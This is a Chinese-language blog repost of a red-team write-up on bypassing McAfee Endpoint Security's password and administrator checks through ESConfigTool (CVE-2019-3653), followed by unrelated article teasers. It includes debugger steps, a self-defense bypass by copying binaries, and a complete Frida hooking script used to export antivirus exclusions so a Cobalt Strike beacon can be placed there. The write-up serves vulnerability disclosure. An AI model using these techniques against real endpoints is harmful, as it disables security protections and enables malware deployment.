怎样卸载迈克菲,如何禁用mcafee杀毒软件

利用Mcafee管理工具绕过McAfee杀毒软件

介绍这篇文章是关于我在一次红队活动中如何利用McAfee工具绕过McAfee Endpoint Security杀毒软件的故事。本来我没有计划写这篇文章,但当时的队友@fsdominguezand和@_dirkjan觉得此事值得被记录下来。现在,就让我们开始吧。McAfee在以往,每当我们遇到McAfee Virus Scan Enterprise(VSE)的时候,都可以通过简单地查询注册表,了解到那些位置是管理员指定的“特殊位置”(不受杀毒软件影响)。

然而,在这次任务中,事情没那么简单。因为他们使用的是McAfee Endpoint Security,从VSE时代到现在,McAfee可能认为最好不要将“特殊位置”之类的信息以明文形式存储在任何人都可阅读的文件中。

那么,我们现在该把恶意文件放在哪里?ESConfigToolMcAfee Endpoint Security杀毒软件附带一个名为ESConfigTool的程序,可用于导入和导出配置文件。它的详细用法如下。

我们发现,要从McAfee Endpoint Security得知安全设置,你需要:解锁密码管理权限很遗憾这两者我们都没有。

现在,先让我们下载一个试用版本的McAfee Endpoint Security,看看是否有入手点。

变化我们最后决定还是以ESConfigTool为目标,看看它是否有漏洞。我先创建了三个“特殊位置”:C:\Windows\Temp\*mimikatz.exeC:\TotallyLegit\

还设置了密码保护:starwars。

打开一个cmd,看看我们是否可以得到这些设置信息。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Windows\system32>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\Export.xml /module TP /unlock starwars /plaintextCommand executed successfully. Please refer to Endpoint Security logs for detailsC:\Windows\system32>让我们打开xml文件,看看是否有敏感信息:

C:\Windows\Temp\031110**\*mimikatz.exe030110C:\TotallyLegit\031110是的,在拥有管理员权限以及输入了正确密码的情况下,你可以得到安全设置。让我们通过x64dbg软件,看一下它的整体流程。Self-defense通常使用调试软件打开二进制文件是很简单的,但由于我们面对的是安全软件,所以有一些额外的障碍。一个重要的原因是,McAfee的大部分组件都有“自卫”功能。如果你尝试使用调试软件,将立即得到一个Debugging stopped消息,McAfee对这种可疑行为极为敏感。

 

12/10/2019 12:47:09 mfeesp(2204.6392) ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule “Core Protection – Protect McAfee processes from unauthorized access and termination”, and was blocked. For information about how to respond to this event, see KB85494.12/10/2019 12:47:09 mfeesp(2204.5404) ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule “Core Protection – Protect McAfee processes from unauthorized access and termination”, and was blocked. For information about how to respond to this event, see KB85494.看来我们首先需要绕过这种自我防御机制。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>mkdir \tempC:\Users\admin>cd \tempC:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\blframework.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\EpSecApiLib.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\McVariantExport.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\LogLib.dll” . 1 file(s) copied.C:\temp>没错,只要像如上所述疯狂复制文件,你就可以绕过自我防御,对软件进行调试。现在,让我们开始调试吧

绕过密码检查先让我们看看当使用错误的密码时会发生什么,也许会有一些字符提示:

C:\Windows\system32>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\Export.xml /module TP /unlock startrek /plaintextThere were some errors while executing command. Please refer to Endpoint Security logs for detailsC:\Windows\system32>嗯,没什么特别的。不过McAfee的日志文件提供了更多信息:

10/12/2019 01:11:46.400 PM ESConfigTool(5476.8840) ESConfigTool.ESConfigTool.Error (ImportExportUtil.cpp:677): Failed to unlock client settings with user supplied password, TriggerAction failed让我们在调试器中搜索特定字符串,看看能否找到这个错误的来源。

 

现在我们把这个位置设为断点,再运行一次,看看在断点之前发生了什么。我们可以看到一个函数调用了一个名为BLInvokeMethod的东西,后面还跟着一个没有执行的跳转:

 

此时,我们有两个选择:进入密码检查函数,看看它是如何工作的,并尝试破解密码。直接更改检查函数的返回值。因为我很懒,我所以选择了第2项。当输入错误的密码时,密码检查函数会将错误代码放入RAX寄存器:

如果提供了正确的密码,则RAX寄存器的值为0

那么,如果我们提供了错误的密码,将密码检查函数中断,并将RAX寄存器的值改为0,会发生什么情况呢?

成功导出设置!

看来密码检查只是由工具本身完成的,不牵涉其他组件,也不需要解密。绕过管理员权限在没有管理员权限的情况下,ESConfigTool工具能使用的功能是非常有限的:

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\user>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\temp\Export.xml /module TP /unlock starwars /plaintextDescription: Endpoint security configuration tool for exporting and importing policy configuration. User needs administrator privileges to run this utility. Utility needs password if the client interface is password protected. File supplied for import must be an encrypted file.USAGE: ESConfigTool.exe /export [/module <TP|FW|WC|ESP> ] [/unlock ] [/plaintext ] ESConfigTool.exe /import [/module <TP|FW|WC|ESP> ] [/unlock ] [/policyname ] ESConfigTool.exe /helpC:\Users\user>我们怎样才能知道权限检查的流程呢?先让我们以普通用户的身份运行调试器,看看会发生什么。发现它调用一个函数,并对返回值进行字符串比较,如果返回代码不是0,则调用“exit”。

如果追踪这个函数,会发现它将最终调用AllocateAndInitializeSid。不过这些都不值得花时间去逆向。让我们再次尝试偷懒的方法更改函数返回值。

返回值检查如下:

这一次返回值必须是0以外的任何值。

OK,又成功了!

我们现在可以从McAfee Endpoint Security导出安全设置,不需要管理权限,不需要知道正确的密码!自动运行到目前为止,一切都很顺利,但是每次使用调试器更改返回值是一件痛苦的事情。不过幸运的是,存在Frida这么一个有趣的东西,它可以帮你做所有很酷的事情,比如hook函数或改变其返回值,你不需要任何额外的技能,除了javascript!

那么我们如何将Frida注入到McAfee呢?很简单,frida-server。只需在运行McAfee的机器上启动它,然后使用Python进行连接。McAfee机器:Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>cd \tempC:\temp>frida-server-12.7.9-windows-x86_64.exePython机器:Python 3.6.7 (default, Oct 22 2018, 11:32:17) [GCC 8.2.0] on linuxType “help”, “copyright”, “credits” or “license” for more information.>>> import frida>>> devmgr = frida.get_device_manager()>>> devmgr.add_remote_device(‘192.168.31.150′)Device(id=”tcp@192.168.31.150″, name=”192.168.31.150″, type=’remote’)>>> rdev = frida.get_device(‘tcp@192.168.31.150’)>>> args = [… ‘ESConfigTool.exe’,… ‘/export’,… ‘frida-export.xml’,… ‘/module’,… ‘ESP’,… ‘/unlock’,… ‘startrek’,… ‘/plaintext’… ]>>> pid = rdev.spawn(args)>>> session = rdev.attach(pid)>>> sessionSession(pid=11168)现在我们已经连接上,ESConfigTool.exe也正在运行!

现在我们可以将JS代码注入到ESConfigTool进程中。Frida脚本我不会详细介绍这个脚本的功能,其完整代码如下:

const configbase = Module.findbaseAddress(‘ESConfigTool.exe’);//const adminCheck = configbase.add(0x5240); //32const adminCheck = configbase.add(0x5f30); //64const BLInvokeMethod = Module.findExportByName(‘blframework.dll’,’BLInvokeMethod’)console.log(‘[-] base address is:’,configbase);console.log(‘[-] Admin check is:’,adminCheck);console.log(‘[-] BLInvokeMethod:’,BLInvokeMethod);Interceptor.attach(adminCheck, { onEnter: function (args) { console.log(‘[+] Hooked admin check function’); }, onLeave: function (retval) { console.log(‘[+] Returning true for admin check’); retval.replace(1); }});Interceptor.attach(BLInvokeMethod, { onEnter: function (args) { console.log(‘[+] Hooked BLInvokeMethod function’); }, onLeave: function (retval) { console.log(‘[+] Patching password check function’); retval.replace(0x0); }});这个脚本执行的正是我们在调试器中手动执行的操作,更改返回值。让我们注入脚本,看看它是否有效:

>>> script = “””… const configbase = Module.findbaseAddress(‘ESConfigTool.exe’);… //const adminCheck = configbase.add(0x5240); //32… const adminCheck = configbase.add(0x5f30); //64… const BLInvokeMethod = Module.findExportByName(‘blframework.dll’,’BLInvokeMethod’)… … console.log(‘[-] base address is:’,configbase);… console.log(‘[-] Admin check is:’,adminCheck);… console.log(‘[-] BLInvokeMethod:’,BLInvokeMethod);… … Interceptor.attach(adminCheck, {… onEnter: function (args) {… console.log(‘[+] Hooked admin check function’);… },… onLeave: function (retval) {… console.log(‘[+] Returning true for admin check’);… retval.replace(1);… }… });… … Interceptor.attach(BLInvokeMethod, {… onEnter: function (args) {… console.log(‘[+] Hooked BLInvokeMethod function’);… },… onLeave: function (retval) {… console.log(‘[+] Patching password check function’);… retval.replace(0x0);… }… });… … “””>>> session.create_script(script).load()[-] base address is: 0x7ff73ed30000[-] Admin check is: 0x7ff73ed35f30[-] BLInvokeMethod: 0x7ffa4d759730>>> rdev.resume(pid)>>> [+] Hooked admin check function[+] Returning true for admin check[+] Hooked BLInvokeMethod function[+] Patching password check function>>>最终结果如下:

虽然我是作为“admin”用户运行的,但是没有涉及UAC。相信我,这套方法也适用于普通用户。后续现在,我们就可以把一个Cobalt Strike beacon放入那些“特殊位置”。尽管在本文中只讨论了设置信息导出,但你也可以导入配置文件,添加“特殊位置”,更改其他设置,甚至完全删除密码。

值得一提的是,其实这个配置文件加密与否并不重要,因为你可以把它导入自己的McAfee软件进行查看。

McAfee在确认了漏洞后,发布了一个安全建议和相关的修复程序,漏洞被标记为CVE-2019-3653。

如果你想了解更多,可以在这里找到PoC脚本。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:https://dmaasland.github.io/posts/mcafee.html

原文:https://www.loosebyte.com/google-cloud-vulnerability/

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

本文来自投稿,不代表展天博客立场,如若转载,请注明出处:https://www.me900.com/326069.html

(0)

相关推荐

  • 考不上普高就上民办高中,考不上高中最好的出路

    还有三个月左右的时间就要中考了,每年的中考都是一场充满硝烟的大战。我觉得,从一定程度上来看,中考甚至比高考还要重要,更多的学生家长可能更加关注孩子的中考。 我想从三个方面对这个问题进行分析,希望能帮到你。 为什么说中考更受家长关注呢? 一是中考的淘汰率很高。大家都清楚中考的录取率一般保持在50%左右,一半的孩子读高中,一半的孩子读职业学校或者其他。 二是中考…

    2022-05-03 投稿
  • 安徽发生车祸当场死亡,安徽今天车祸新闻刚刚发生

    2021年12月18日13时许,一辆SUV私家车行驶至安徽蒙城036县道岳坊镇金牛村路段时,坠入路边沟中,致5死2伤(极目新闻此前报道)。19日上午,极目新闻记者从遇难者家属杜女士处获悉,车上7人包括她哥哥一家5口、大伯父和哥哥的朋友兼同事唐某,此前伤重的5岁侄儿于19日凌晨去世,仅唐某幸存。 私家车坠入路边沟中(视频截图) 此前据安徽省应急管理厅官网通报,…

    2022-03-20
  • 什么是私有云,什么是私有云存储

    什么是私有云 一、引言 在当今数字化时代,云计算已经成为企业和组织IT架构的重要组成部分。而私有云作为云计算的一种形式,近年来也越来越受到关注。那么,什么是私有云呢?它与公共云有什么区别?又有哪些特点和优势呢?接下来,我们将深入探讨这些问题。 二、私有云的定义 私有云是指为特定组织或企业单独构建、运营和管理的云计算环境。它通常部署在企业内部的数据中心或私有网…

    2025-10-21
  • 怎么让电脑中毒,账号存在被盗号风险原因

    当下,线上平台成为不少商家尤其是定制类行业商户与客户沟通的手段。当你作为商家和客户成功加上微信后,客户发来声称是参考样式的压缩文件,你会点开吗? 近日,网友萌萌(化名)反馈,从事装修行业的她近期收到陌生客户发来的压缩文件,声称是户型图,但其点开后却发现该文件是电脑病毒,无奈之下只能重装系统。 1 客户以户型图等名义 发来病毒文件 有商家点击后重装电脑系统 萌…

    2023-07-09
  • 盘发夹怎么用(盘发夹怎么用视频教程)

    怎样用皮筋盘头发简单好看?盘头发最常用的东西就是皮筋和发卡了,可是很多时候女生身边没有发卡只有皮筋,这个时候女生该怎么将头发盘起来呢?其实仅用皮筋也是能进行盘发的,可是女生只用皮筋怎样盘头发又快又好呢?好奇的女生看看下文时尚达人示范的盘发技巧就知道了。     女生中分双丸子头盘发发型 甜美可爱的小圆脸女生梳着中长直发,中分梳理的直发在双…

    2022-01-14 投稿
  • 电商平台运营是做什么?电商平台运营主要做什么

    总体来说做电商运营不是很难,只要掌握了方法和技巧了,就不那么难了。 近几年来,随着疫情的发生,很多线下的工作逐渐转移到线上销售了。所以了解电商行业是必要的。 首先,我们要了解电商的概念,基本要素等,并深入对电商的系统学习与实操,熟悉了解电商各大平台如何操作。 做电商主要有以下几个重要的操作: 1.选品。我们可以借助生意参谋的数据,来定位分析市场行情。并通过市…

    投稿 2023-01-26
  • gmail邮箱设置,如何设置gmail邮箱最好

    19年末网上盛传”百度搜索引擎已死”的消息,引发作者对于搜索引擎的思索。百度作为最大的中文搜索引擎,确实有着很大的声誉,加上本地化的优势,成为大家的首选,但作为一名技术研发人员,使用搜索引擎的频率较高,以至获取到所需的知识,由于知识需求,于是展开了对于搜索引擎的探索。 时光荏苒 愿你成为一个内心强大的人 19年末网上盛传”…

    2023-06-29
  • 东方圣人姓名出在那个省(中国将出圣人)

    提到圣人,大家第一个想到的一定是孔子他老人家。但其实不是这样的,中国古代有许许多多的圣人,他们因为在自己所擅长的领域取得了极大的成就(必须是开创性的),且得到了世人的认可,因此,被称为圣人。《资治通鉴》中有一句关于圣人的描绘:“才德全尽谓之圣人”。由此可见,一个人必须德行、才能都得到世人的认可,才能够称之为圣人。那么,从古到今,中国到底有多少位圣人呢?他们又…

    2022-03-19 投稿
  • 年轻人不要进电子厂,年轻人为什么不能进电子厂

    还进电子厂打工?别闹,别拿青春开玩笑。年轻时进到电子厂工作,年复一年,等到了年纪大了,精力不充沛,效率下降了,厂里绝对会一脚把你踹走。即使碍于情面,不能直接辞退你,也会想其它办法,逼迫你走人。 电子厂是流水线作业,工人按部就班完成手头工作就行。不仅枯燥乏味,而且一点技术含量都没,根本学习不到东西。工作时间长,从早上干到晚上,最少都要干12个小时以上,多累人啊…

    2022-03-21
  • 游戏内部时间**,收获日2用开**吗

    收获日2(Payday2)是一款第一人称射击游戏,游戏13年发行至今一直都受到了玩家的喜爱,游戏也一直都在不断推出新的DLC供玩家游玩,最近EPIC也是将收获日2作为神秘礼物免费送出。 很多已经领了收获日2的玩家想知道这款游戏需不需要**,其实是需要的,因为收获日2是一款外服游戏,玩家不管是自己游玩还是与朋友联机都是需要网 络处于稳定环境下,所以就需要**来…

    2023-07-04
  • 合同怎么写模板 合同模板大全在哪个网站下载

    最近,很多人私信小编说,总是找不到合适的合同模板,再者网上找的必须要付费才能下载。今天给打大家推荐一款良心App——汇辰一家。 这款App里面的合同类型很全:劳动合同、劳务合同、授权委托书、工程合同、设计合同、装修合同、租赁合同、总包合同、分包合同、技术服务合同、采购合同、股权类合同…………应有尽有,不仅合同质量高,而且还能免费阅读,免费下载哦,完全没有任何…

    投稿 2023-03-29
  • 近视矫正的手术的价格,做飞秒激光手术的条件

    据辽沈晚报消息 高度近视的危害有多大? 昨天 女子高度近视3000度被迫摘除眼球 消息冲上热搜 引发网友热议 3000度超高近视 女子眼球像被吹爆的气球 据医生介绍,正常人眼轴长度在22-24毫米左右,而梁女士的眼轴因长期近视达到了35毫米,眼球像被吹爆的气球,视网膜越来越薄,稍微一用力咳嗽或者打喷嚏就会导致视网膜脱落。眼睛度数甚至超过仪器能检测出的最大值,…

    2023-01-31 投稿